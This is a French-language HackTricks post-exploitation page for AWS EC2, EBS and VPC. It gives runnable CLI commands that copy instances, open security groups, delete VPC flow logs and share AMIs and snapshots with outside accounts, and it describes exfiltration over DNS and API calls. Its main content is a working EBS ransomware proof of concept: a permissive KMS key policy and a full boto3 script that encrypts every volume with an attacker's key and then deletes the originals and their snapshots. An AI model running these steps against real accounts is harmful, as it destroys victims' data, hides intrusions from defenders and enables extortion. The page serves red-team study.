AWS - EC2, EBS, SSM & VPC Post Exploitation

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

EC2 & VPC

Pour plus d'informations, consultez :

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Miroir VPC Malveillant - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

Le miroir de trafic VPC duplique le trafic entrant et sortant des instances EC2 au sein d'un VPC sans avoir besoin d'installer quoi que ce soit sur les instances elles-mêmes. Ce trafic dupliqué serait généralement envoyé à un système de détection d'intrusion réseau (IDS) pour analyse et surveillance. Un attaquant pourrait abuser de cela pour capturer tout le trafic et obtenir des informations sensibles à partir de celui-ci :

Pour plus d'informations, consultez cette page :

pageAWS - Malicious VPC Mirror

Copier l'Instance en Cours

Les instances contiennent généralement des informations sensibles. Il existe différentes façons d'y accéder (consultez les astuces d'escalade de privilèges EC2). Cependant, une autre façon de vérifier ce qu'elle contient est de créer une AMI et exécuter une nouvelle instance (même dans votre propre compte) à partir de celle-ci :

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

Dump de Snapshot EBS

Les snapshots sont des sauvegardes de volumes, qui contiennent généralement des informations sensibles, donc les vérifier devrait révéler ces informations. Si vous trouvez un volume sans snapshot, vous pourriez : Créer un snapshot et effectuer les actions suivantes ou simplement le monter dans une instance à l'intérieur du compte :

pageAWS - EBS Snapshot Dump

Exfiltration de Données

Exfiltration DNS

Même si vous restreignez un EC2 pour qu'aucun trafic ne puisse sortir, il peut toujours s'échapper via DNS.

  • Les journaux de flux VPC ne l'enregistreront pas.

  • Vous n'avez pas accès aux journaux DNS AWS.

  • Désactivez ceci en définissant "enableDnsSupport" sur false avec :

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via Appels API

Un attaquant pourrait appeler les points de terminaison API d'un compte qu'il contrôle. Cloudtrail enregistrera ces appels et l'attaquant pourra voir les données exfiltrées dans les journaux Cloudtrail.

Groupe de Sécurité Ouvert

Vous pourriez obtenir un accès supplémentaire aux services réseau en ouvrant des ports comme ceci :

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Élévation de privilèges vers ECS

Il est possible d'exécuter une instance EC2 et de l'enregistrer pour être utilisée afin d'exécuter des instances ECS, puis de voler les données des instances ECS.

Pour plus d'informations, consultez ceci.

Supprimer les journaux de flux VPC

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

Partager AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Partager un instantané EBS

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

PoC Ransomware EBS

Une preuve de concept similaire à la démonstration de Ransomware présentée dans les notes de post-exploitation S3. KMS devrait être renommé RMS pour Ransomware Management Service tellement il est facile de l'utiliser pour crypter divers services AWS.

Tout d'abord, à partir d'un compte AWS 'attaquant', créez une clé gérée par le client dans KMS. Pour cet exemple, nous laisserons simplement AWS gérer les données de la clé pour moi, mais dans un scénario réaliste, un acteur malveillant conserverait les données de la clé en dehors du contrôle d'AWS. Modifiez la stratégie de clé pour permettre à n'importe quel Principal de compte AWS d'utiliser la clé. Pour cette politique de clé, le nom du compte était 'AttackSim' et la règle de politique permettant tout accès s'appelle 'Cryptage externe'.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

La règle de politique clé nécessite les éléments suivants activés pour permettre son utilisation pour crypter un volume EBS :

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

Maintenant, avec la clé publiquement accessible à utiliser. Nous pouvons utiliser un compte 'victime' qui a quelques instances EC2 lancées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte 'victime' sont ceux que nous ciblons pour le chiffrement, cette attaque est sous l'hypothèse d'une violation d'un compte AWS à haut privilège.

Cela se traduit par la présence uniquement de volumes EBS chiffrés disponibles dans le compte.

Il convient également de noter que le script a arrêté les instances EC2 pour détacher et supprimer les volumes EBS originaux. Les volumes non chiffrés d'origine ont maintenant disparu.

Ensuite, retournez à la politique de clé dans le compte de l'« attaquant » et supprimez la règle de politique « Cryptage externe ».

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Attendez un moment pour que la nouvelle stratégie de clé se propage. Ensuite, retournez au compte 'victime' et essayez de joindre l'un des volumes EBS nouvellement chiffrés. Vous verrez que vous pouvez attacher le volume.

Mais lorsque vous essayez de redémarrer réellement l'instance EC2 avec le volume EBS chiffré, cela échouera et passera de l'état 'en attente' à l'état 'arrêté' pour toujours, car le volume EBS attaché ne peut pas être déchiffré à l'aide de la clé, car la stratégie de clé ne le permet plus.

Voici le script Python utilisé. Il prend les informations d'identification AWS pour un compte 'victime' et une valeur ARN AWS publiquement disponible pour la clé à utiliser pour le chiffrement. Le script créera des copies chiffrées de TOUS les volumes EBS disponibles attachés à TOUTES les instances EC2 dans le compte AWS ciblé, puis arrêtera chaque instance EC2, détachera les volumes EBS originaux, les supprimera, puis supprimera tous les instantanés utilisés pendant le processus. Cela ne laissera que des volumes EBS chiffrés dans le compte 'victime' ciblé. UTILISEZ CE SCRIPT UNIQUEMENT DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES VOLUMES EBS ORIGINAUX. Vous pouvez les récupérer en utilisant la clé KMS utilisée et les restaurer à leur état d'origine via des instantanés, mais je tiens à vous informer qu'il s'agit d'une preuve de concept de ransomware à la fin de la journée.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

D'autres façons de soutenir HackTricks:

Dernière mise à jour